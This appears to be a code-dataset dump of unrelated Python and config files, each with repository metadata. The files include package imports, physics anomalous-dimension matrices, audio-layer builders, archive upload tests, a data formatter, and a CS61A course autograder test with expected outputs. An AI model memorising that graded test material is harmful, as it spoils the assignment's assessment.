] | null | null | null | src/controller/__init__.py | wiktorowski211/Fruit-Viking | d45c35a56425c4d42a2ee59586bd559037cf07db | [
"MIT"
] | 2 | 2019-05-22T09:06:16.000Z | 2019-05-28T21:38:04.000Z | src/controller/__init__.py | wiktorowski211/Fruit-Viking | d45c35a56425c4d42a2ee59586bd559037cf07db | [
"MIT"
] | 1 | 2019-03-21T13:02:29.000Z | 2019-03-21T13:02:29.000Z | from .camera_controller import CameraController
from .mouse_controller import MouseController
| 31.333333 | 47 | 0.893617 | 10 | 94 | 8.2 | 0.7 | 0.390244 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 94 | 2 | 48 | 47 | 0.953488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
89873b93fc09ab49a4f10801f19f3573e4188fa2 | 47 | py | Python | boucanpy/core/dns_server/data.py | bbhunter/boucanpy | 7d2fb105e7b1e90653a511534fb878bb62d02f17 | [
"MIT"
] | 34 | 2019-11-16T17:22:15.000Z | 2022-02-11T23:12:46.000Z | boucanpy/core/dns_server/data.py | bbhunter/boucanpy | 7d2fb105e7b1e90653a511534fb878bb62d02f17 | [
"MIT"
] | 1 | 2021-02-09T09:34:55.000Z | 2021-02-10T21:46:20.000Z | boucanpy/core/dns_server/data.py | bbhunter/boucanpy | 7d2fb105e7b1e90653a511534fb878bb62d02f17 | [
"MIT"
] | 9 | 2019-11-18T22:18:07.000Z | 2021-02-08T13:23:51.000Z | from boucanpy.core.types import DnsServerData
| 15.666667 | 45 | 0.851064 | 6 | 47 | 6.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 47 | 2 | 46 | 23.5 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9831e7ee9d198a5fec20ea47d049fbd8c3e2952a | 38 | py | Python | tensorflow_forward_ad/__init__.py | jiamings/tensorflow-forward-ad | c045123e47100dad7a2a3bc9401ef40c98f7b9f5 | [
"MIT"
] | 1 | 2020-05-19T02:04:33.000Z | 2020-05-19T02:04:33.000Z | tensorflow_forward_ad/__init__.py | jiamings/tensorflow-forward-ad | c045123e47100dad7a2a3bc9401ef40c98f7b9f5 | [
"MIT"
] | null | null | null | tensorflow_forward_ad/__init__.py | jiamings/tensorflow-forward-ad | c045123e47100dad7a2a3bc9401ef40c98f7b9f5 | [
"MIT"
] | 1 | 2020-05-19T02:04:34.000Z | 2020-05-19T02:04:34.000Z | from .fwgrad import forward_gradients
| 19 | 37 | 0.868421 | 5 | 38 | 6.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 38 | 1 | 38 | 38 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
985978808af1d6b2e652a98d5ef2ad6383c72e7e | 792 | gyp | Python | binding.gyp | matortheeternal/s2js | 3a3a5b13d65eb722a3da9c99ff7714f192d40976 | [
"MIT"
] | 2 | 2018-10-25T08:51:48.000Z | 2018-10-31T20:08:17.000Z | binding.gyp | matortheeternal/s2js | 3a3a5b13d65eb722a3da9c99ff7714f192d40976 | [
"MIT"
] | 1 | 2018-10-29T19:29:51.000Z | 2018-10-29T19:29:51.000Z | binding.gyp | matortheeternal/s2js | 3a3a5b13d65eb722a3da9c99ff7714f192d40976 | [
"MIT"
] | null | null | null | {
"targets": [
{
"target_name": "s2js",
"sources": [
"src/cpp/api.cc",
"src/cpp/s2js.cc",
"src/cpp/unit_classes.cc"
],
"libraries": [
"$(S2API_ROOT)/$(BUILD_FOLDER)/bin/civetweb",
"$(S2API_ROOT)/$(BUILD_FOLDER)/bin/libprotobufd",
"$(S2API_ROO... | 29.333333 | 57 | 0.531566 | 79 | 792 | 5.075949 | 0.405063 | 0.224439 | 0.244389 | 0.349127 | 0.34414 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026981 | 0.251263 | 792 | 27 | 58 | 29.333333 | 0.649241 | 0 | 0 | 0.111111 | 0 | 0 | 0.641866 | 0.522068 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
986405055344de8c74fcd54e31eed6527dfd2fcb | 34 | py | Python | chapter_11_package_management/wheel_package_compiled/src/__init__.py | Tm2197/Python-Architecture-Patterns | 8091b4d8e2580763ceb55a83c75aa9b6225fcb72 | [
"MIT"
] | 12 | 2021-07-20T12:55:39.000Z | 2022-02-05T10:53:38.000Z | chapter_11_package_management/wheel_package_compiled/src/__init__.py | Tm2197/Python-Architecture-Patterns | 8091b4d8e2580763ceb55a83c75aa9b6225fcb72 | [
"MIT"
] | null | null | null | chapter_11_package_management/wheel_package_compiled/src/__init__.py | Tm2197/Python-Architecture-Patterns | 8091b4d8e2580763ceb55a83c75aa9b6225fcb72 | [
"MIT"
] | 9 | 2021-07-22T06:01:03.000Z | 2022-03-01T05:50:45.000Z | from .module import some_function
| 17 | 33 | 0.852941 | 5 | 34 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 1 | 34 | 34 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9868e0a0844281229fafb96837a717d35eec365d | 66 | py | Python | eagleos/__init__.py | 5qc/EagleOS | c42513e4a317e0bc111183c752ba39de824346c3 | [
"MIT"
] | null | null | null | eagleos/__init__.py | 5qc/EagleOS | c42513e4a317e0bc111183c752ba39de824346c3 | [
"MIT"
] | null | null | null | eagleos/__init__.py | 5qc/EagleOS | c42513e4a317e0bc111183c752ba39de824346c3 | [
"MIT"
] | null | null | null | from .colors import *
from .convert import *
from .error import *
| 16.5 | 22 | 0.727273 | 9 | 66 | 5.333333 | 0.555556 | 0.416667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 66 | 3 | 23 | 22 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
98b0492b8549d3edb258ac4dac7b01987d72b7d3 | 120 | py | Python | datahub_core/libs/data_access/__init__.py | zheyu-wang-tony/datahub | 40bcf2e225f74c914afee6843ace11a8dea20bf9 | [
"Apache-2.0"
] | null | null | null | datahub_core/libs/data_access/__init__.py | zheyu-wang-tony/datahub | 40bcf2e225f74c914afee6843ace11a8dea20bf9 | [
"Apache-2.0"
] | null | null | null | datahub_core/libs/data_access/__init__.py | zheyu-wang-tony/datahub | 40bcf2e225f74c914afee6843ace11a8dea20bf9 | [
"Apache-2.0"
] | null | null | null | """ __init__.py """
from .sic_raw_daa_access import SicRawDataAccess
from .country_data_access import CountryDataAccess
| 30 | 50 | 0.833333 | 15 | 120 | 6.066667 | 0.8 | 0.263736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091667 | 120 | 3 | 51 | 40 | 0.834862 | 0.091667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
98b77719aa6b27b308936a0f55e5ccdca0a2cbf0 | 30 | py | Python | .idea/VirtualEnvironment/Lib/site-packages/tests/outcomes/imports/test_import_relative_error_2/main.py | Vladpetr/NewsPortal | cd4127fbc09d9c8f5e65c8ae699856c6d380a320 | [
"Apache-2.0"
] | null | null | null | .idea/VirtualEnvironment/Lib/site-packages/tests/outcomes/imports/test_import_relative_error_2/main.py | Vladpetr/NewsPortal | cd4127fbc09d9c8f5e65c8ae699856c6d380a320 | [
"Apache-2.0"
] | 5 | 2021-04-08T22:02:15.000Z | 2022-02-10T14:53:45.000Z | .idea/VirtualEnvironment/Lib/site-packages/tests/outcomes/imports/test_import_relative_error_2/main.py | Vladpetr/NewsPortal | cd4127fbc09d9c8f5e65c8ae699856c6d380a320 | [
"Apache-2.0"
] | null | null | null | from .main2 import y
print(x)
| 10 | 20 | 0.733333 | 6 | 30 | 3.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04 | 0.166667 | 30 | 2 | 21 | 15 | 0.84 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
7f51c8fc5bc14d08ae938d5e0d5505b280ff4aac | 13,608 | py | Python | wetrunner/adm.py | DavidMStraub/python-wetrunner | be9549535aab3a00e496002a515c647d112ea090 | [
"MIT"
] | null | null | null | wetrunner/adm.py | DavidMStraub/python-wetrunner | be9549535aab3a00e496002a515c647d112ea090 | [
"MIT"
] | 4 | 2018-01-11T10:29:16.000Z | 2018-04-12T15:36:20.000Z | wetrunner/adm.py | DavidMStraub/python-wetrunner | be9549535aab3a00e496002a515c647d112ea090 | [
"MIT"
] | 2 | 2018-01-11T10:20:55.000Z | 2018-03-07T22:13:34.000Z | r"""Anomalous dimension matrices.
The RGE have the form
$$\frac{d \vec{C}}{d\ln\mu} = \gamma^T \vec{C}$$
with
$$\gamma = \frac{\alpha_s}{4\pi} \gamma^{1,0} + \frac{\alpha_s}{4\pi} \gamma^{0,1}$$
The functions `adm_s_X` return $\gamma^{1,0}$.
The functions `adm_e_X` return $\gamma^{0,1}$.
"""
import numpy as np
... | 38.88 | 116 | 0.336273 | 2,746 | 13,608 | 1.597961 | 0.052804 | 0.276664 | 0.31928 | 0.322698 | 0.691659 | 0.638788 | 0.579763 | 0.526892 | 0.470374 | 0.443938 | 0 | 0.324768 | 0.390873 | 13,608 | 349 | 117 | 38.991404 | 0.204609 | 0.025426 | 0 | 0.20598 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.053156 | false | 0 | 0.003322 | 0.046512 | 0.109635 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7f719f3b0816bf94827a65162e9e9791fc85059f | 198 | py | Python | cassiopeia/dto/match.py | artemigkh/cassiopeia | fa78cb8f86ea21857916a707d04de6a05498033e | [
"MIT"
] | 437 | 2016-02-15T17:33:40.000Z | 2022-03-30T21:25:41.000Z | cassiopeia/dto/match.py | artemigkh/cassiopeia | fa78cb8f86ea21857916a707d04de6a05498033e | [
"MIT"
] | 296 | 2016-02-13T00:04:15.000Z | 2022-03-24T18:56:36.000Z | cassiopeia/dto/match.py | artemigkh/cassiopeia | fa78cb8f86ea21857916a707d04de6a05498033e | [
"MIT"
] | 174 | 2016-02-21T16:34:30.000Z | 2022-03-21T20:46:50.000Z | from .common import DtoObject
class MatchReferenceDto(DtoObject):
pass
class MatchListDto(DtoObject):
pass
class MatchDto(DtoObject):
pass
class TimelineDto(DtoObject):
pass
| 11 | 35 | 0.732323 | 20 | 198 | 7.25 | 0.5 | 0.358621 | 0.372414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.20202 | 198 | 17 | 36 | 11.647059 | 0.917722 | 0 | 0 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.444444 | 0.111111 | 0 | 0.555556 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
7f88edd2aa2258d8f767a1a7e813d5af3a704365 | 246 | py | Python | generate/format.py | gujor/swift-key-codes | a65c29fc645eed2c3997d3bd9239c77290955fe2 | [
"MIT"
] | 2 | 2022-02-02T16:03:57.000Z | 2022-02-02T18:43:11.000Z | generate/format.py | gujor/swift-key-codes | a65c29fc645eed2c3997d3bd9239c77290955fe2 | [
"MIT"
] | null | null | null | generate/format.py | gujor/swift-key-codes | a65c29fc645eed2c3997d3bd9239c77290955fe2 | [
"MIT"
] | null | null | null | def format_hex_unsigned(int, byte_count):
assert int >= 0, "Number must be greater than or equal to zero."
assert int >> byte_count * 8 == 0, "Number must be less than 2^byte_count"
return "{0:#0{1}x}".format(int, byte_count * 2 + 2)
| 49.2 | 78 | 0.666667 | 44 | 246 | 3.590909 | 0.545455 | 0.227848 | 0.227848 | 0.164557 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045685 | 0.199187 | 246 | 4 | 79 | 61.5 | 0.756345 | 0 | 0 | 0 | 0 | 0 | 0.373984 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.25 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f6b6a1762f26a00abe0888465ddbdf30b6a50783 | 7,659 | py | Python | kapre/composed.py | DN360/kapre | 8cdbb1637b140c01f431831e7b2c2a63afc96209 | [
"MIT"
] | null | null | null | kapre/composed.py | DN360/kapre | 8cdbb1637b140c01f431831e7b2c2a63afc96209 | [
"MIT"
] | null | null | null | kapre/composed.py | DN360/kapre | 8cdbb1637b140c01f431831e7b2c2a63afc96209 | [
"MIT"
] | null | null | null | from .time_frequency import STFT, Magnitude, Phase, MagnitudeToDecibel, ApplyFilterbank
from . import backend
from tensorflow.keras import Sequential
def get_melspectrogram_layer(
input_shape=None,
n_fft=2048,
win_length=None,
hop_length=None,
window_fn=None,
pad_end=False,
sample_rate=22... | 40.739362 | 108 | 0.676459 | 1,066 | 7,659 | 4.606942 | 0.140713 | 0.057015 | 0.03258 | 0.03258 | 0.833639 | 0.829566 | 0.8202 | 0.808389 | 0.808389 | 0.808389 | 0 | 0.008764 | 0.24024 | 7,659 | 187 | 109 | 40.957219 | 0.835195 | 0.547852 | 0 | 0.587156 | 0 | 0 | 0.040062 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018349 | false | 0 | 0.027523 | 0 | 0.06422 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f6bd016046d9defa519bf9195fba06bd7aa49810 | 21,788 | py | Python | projects/cats/tests/06.py | jjllzhang/CS61A | 57b68c7c06999210d96499f6d84e4ec99085d396 | [
"MIT"
] | 3 | 2022-01-21T15:52:32.000Z | 2022-03-06T11:02:34.000Z | projects/cats/tests/06.py | jjllzhang/CS61A | 57b68c7c06999210d96499f6d84e4ec99085d396 | [
"MIT"
] | null | null | null | projects/cats/tests/06.py | jjllzhang/CS61A | 57b68c7c06999210d96499f6d84e4ec99085d396 | [
"MIT"
] | 1 | 2022-02-13T08:28:27.000Z | 2022-02-13T08:28:27.000Z | test = {
'name': 'Problem 6',
'points': 2,
'suites': [
{
'cases': [
{
'code': r"""
>>> big_limit = 10
>>> shifty_shifts("car", "cad", big_limit)
1
>>> shifty_shifts("this", "that", big_limit)
2
>>> shifty_shifts("one", "two", ... | 24.208889 | 107 | 0.338076 | 1,815 | 21,788 | 3.974105 | 0.160331 | 0.206294 | 0.245113 | 0.317205 | 0.762789 | 0.723 | 0.700818 | 0.676834 | 0.670595 | 0.629974 | 0 | 0.030488 | 0.480632 | 21,788 | 899 | 108 | 24.235818 | 0.606928 | 0 | 0 | 0.470523 | 0 | 0.054505 | 0.58803 | 0.119102 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.004449 | 0 | 0.004449 | 0.001112 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f6bea2f718569edf9f5fc914a9c247f24935c667 | 48 | py | Python | production/avotes-parser-cli/avotes_parser/cli/__init__.py | lidofinance/AVotesParser | be8df15b79f4005f26733ba5eed2de714bcfd731 | [
"MIT"
] | null | null | null | production/avotes-parser-cli/avotes_parser/cli/__init__.py | lidofinance/AVotesParser | be8df15b79f4005f26733ba5eed2de714bcfd731 | [
"MIT"
] | null | null | null | production/avotes-parser-cli/avotes_parser/cli/__init__.py | lidofinance/AVotesParser | be8df15b79f4005f26733ba5eed2de714bcfd731 | [
"MIT"
] | null | null | null | # noqa
from .package import __version__ # noqa
| 16 | 40 | 0.75 | 6 | 48 | 5.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1875 | 48 | 2 | 41 | 24 | 0.820513 | 0.1875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f6cca1236f11806cc00e3b9b37ac2bbf6a419b25 | 6,117 | py | Python | tests/test_upload.py | carj/pyPreservica | 0b07b67971e89e366964a22d44066c30c42cc5cc | [
"Apache-2.0"
] | 8 | 2020-07-01T12:20:59.000Z | 2022-02-22T09:11:38.000Z | tests/test_upload.py | carj/pyPreservica | 0b07b67971e89e366964a22d44066c30c42cc5cc | [
"Apache-2.0"
] | 5 | 2020-11-13T13:38:36.000Z | 2022-02-21T09:12:20.000Z | tests/test_upload.py | carj/pyPreservica | 0b07b67971e89e366964a22d44066c30c42cc5cc | [
"Apache-2.0"
] | null | null | null | import shutil
import xmlschema
import pytest
import zipfile
import xml.etree.ElementTree
from pyPreservica import *
client = EntityAPI()
FOLDER_ID = "ebd977f6-bebd-4ecf-99be-e054989f9af4"
file = "./test_data/LC-USZ62-20901.tiff"
NS = "http://preservica.com/XIP/v6.0"
XML_DOCUMENT = "<person:Person xmlns:person='https... | 40.243421 | 106 | 0.686121 | 779 | 6,117 | 5.166881 | 0.125802 | 0.037764 | 0.035776 | 0.053665 | 0.840248 | 0.811925 | 0.807205 | 0.78559 | 0.779876 | 0.779876 | 0 | 0.012433 | 0.171653 | 6,117 | 151 | 107 | 40.509934 | 0.781922 | 0 | 0 | 0.689922 | 0 | 0 | 0.181462 | 0.110348 | 0 | 0 | 0 | 0 | 0.139535 | 1 | 0.077519 | false | 0 | 0.046512 | 0 | 0.170543 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1010fe136b7b2aa4062a8633bd4da721b7e2aff4 | 11,555 | py | Python | kese_website_files/kese_website_formatter.py | EMKF/kese | f527988c622717dbd3c21ecb396386841aacc03b | [
"MIT"
] | null | null | null | kese_website_files/kese_website_formatter.py | EMKF/kese | f527988c622717dbd3c21ecb396386841aacc03b | [
"MIT"
] | null | null | null | kese_website_files/kese_website_formatter.py | EMKF/kese | f527988c622717dbd3c21ecb396386841aacc03b | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import sys
import tools.constants as c
from functools import reduce
pd.set_option('max_columns', 1000)
pd.set_option('max_info_columns', 1000)
pd.set_option('expand_frame_repr', False)
pd.set_option('display.max_rows', 30000)
pd.set_option('max_colwidth', 4000)
pd.set_option('dis... | 55.821256 | 212 | 0.722025 | 1,624 | 11,555 | 4.946429 | 0.093596 | 0.063488 | 0.039213 | 0.02191 | 0.819993 | 0.811776 | 0.80854 | 0.755509 | 0.749782 | 0.602515 | 0 | 0.025684 | 0.127304 | 11,555 | 206 | 213 | 56.092233 | 0.770924 | 0.096235 | 0 | 0.222973 | 0 | 0.067568 | 0.313901 | 0.187686 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047297 | false | 0 | 0.033784 | 0 | 0.128378 | 0.006757 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1222c152a2382e2ce7fd45765bf030fa2b20bbed | 36 | py | Python | src/marvinbot/__main__.py | osullivryan/marvin-the-discord-bot | ca07f9bf7229ba1576a9ba6b3b1d2393ab20c90d | [
"MIT"
] | null | null | null | src/marvinbot/__main__.py | osullivryan/marvin-the-discord-bot | ca07f9bf7229ba1576a9ba6b3b1d2393ab20c90d | [
"MIT"
] | null | null | null | src/marvinbot/__main__.py | osullivryan/marvin-the-discord-bot | ca07f9bf7229ba1576a9ba6b3b1d2393ab20c90d | [
"MIT"
] | null | null | null | from marvinbot.marvin import Marvin
| 18 | 35 | 0.861111 | 5 | 36 | 6.2 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 36 | 1 | 36 | 36 | 0.96875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
12255faea3606b7549936c3a7be9b25bb40e917c | 75 | py | Python | server/app/api/weather/models.py | WagnerJM/home_pod | f6a51e4956d5956a85084f637e267406f21df6df | [
"MIT"
] | null | null | null | server/app/api/weather/models.py | WagnerJM/home_pod | f6a51e4956d5956a85084f637e267406f21df6df | [
"MIT"
] | null | null | null | server/app/api/weather/models.py | WagnerJM/home_pod | f6a51e4956d5956a85084f637e267406f21df6df | [
"MIT"
] | null | null | null | from app.database import db, BaseMixin
from app.serializer import ma
| 15 | 39 | 0.76 | 11 | 75 | 5.181818 | 0.727273 | 0.245614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 75 | 4 | 40 | 18.75 | 0.95 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
122c9715dcb0947727c7bc70fdbeff0c9eebf745 | 170 | py | Python | ex001.py | nascimentobrenda24/PythonExercises | 2055f42a0454ae25cba6a6457c85822eaad2df01 | [
"MIT"
] | 1 | 2021-11-23T21:41:25.000Z | 2021-11-23T21:41:25.000Z | ex001.py | nascimentobrenda24/PythonExercises | 2055f42a0454ae25cba6a6457c85822eaad2df01 | [
"MIT"
] | null | null | null | ex001.py | nascimentobrenda24/PythonExercises | 2055f42a0454ae25cba6a6457c85822eaad2df01 | [
"MIT"
] | null | null | null | #Crie um programa que digita (Olá Mundo) na tela
print('\033[1;32;40m==================Olá Mundo===========')
#ou
msg = '==============Olá Mundo=============='
print(msg) | 34 | 60 | 0.470588 | 22 | 170 | 3.636364 | 0.727273 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051948 | 0.094118 | 170 | 5 | 61 | 34 | 0.467532 | 0.288235 | 0 | 0 | 0 | 0 | 0.733333 | 0.283333 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
1246cbbf40d70e7672acca8136ffd43139e5342d | 28 | py | Python | pypho/simulation_1d/__init__.py | dominikswild/pypho | 50bd9d3440931183098dafd0ab238ef3416b6a77 | [
"MIT"
] | null | null | null | pypho/simulation_1d/__init__.py | dominikswild/pypho | 50bd9d3440931183098dafd0ab238ef3416b6a77 | [
"MIT"
] | null | null | null | pypho/simulation_1d/__init__.py | dominikswild/pypho | 50bd9d3440931183098dafd0ab238ef3416b6a77 | [
"MIT"
] | null | null | null | from .simulation import new
| 14 | 27 | 0.821429 | 4 | 28 | 5.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 28 | 1 | 28 | 28 | 0.958333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
89d7d6ca3082514e52ebfe8dbe2ecc87f6a0186f | 123 | py | Python | src/package_a/module_a.py | ynouri/monorepo | a40c42da3eaf9c276006be73666b1d0ab2396620 | [
"MIT"
] | null | null | null | src/package_a/module_a.py | ynouri/monorepo | a40c42da3eaf9c276006be73666b1d0ab2396620 | [
"MIT"
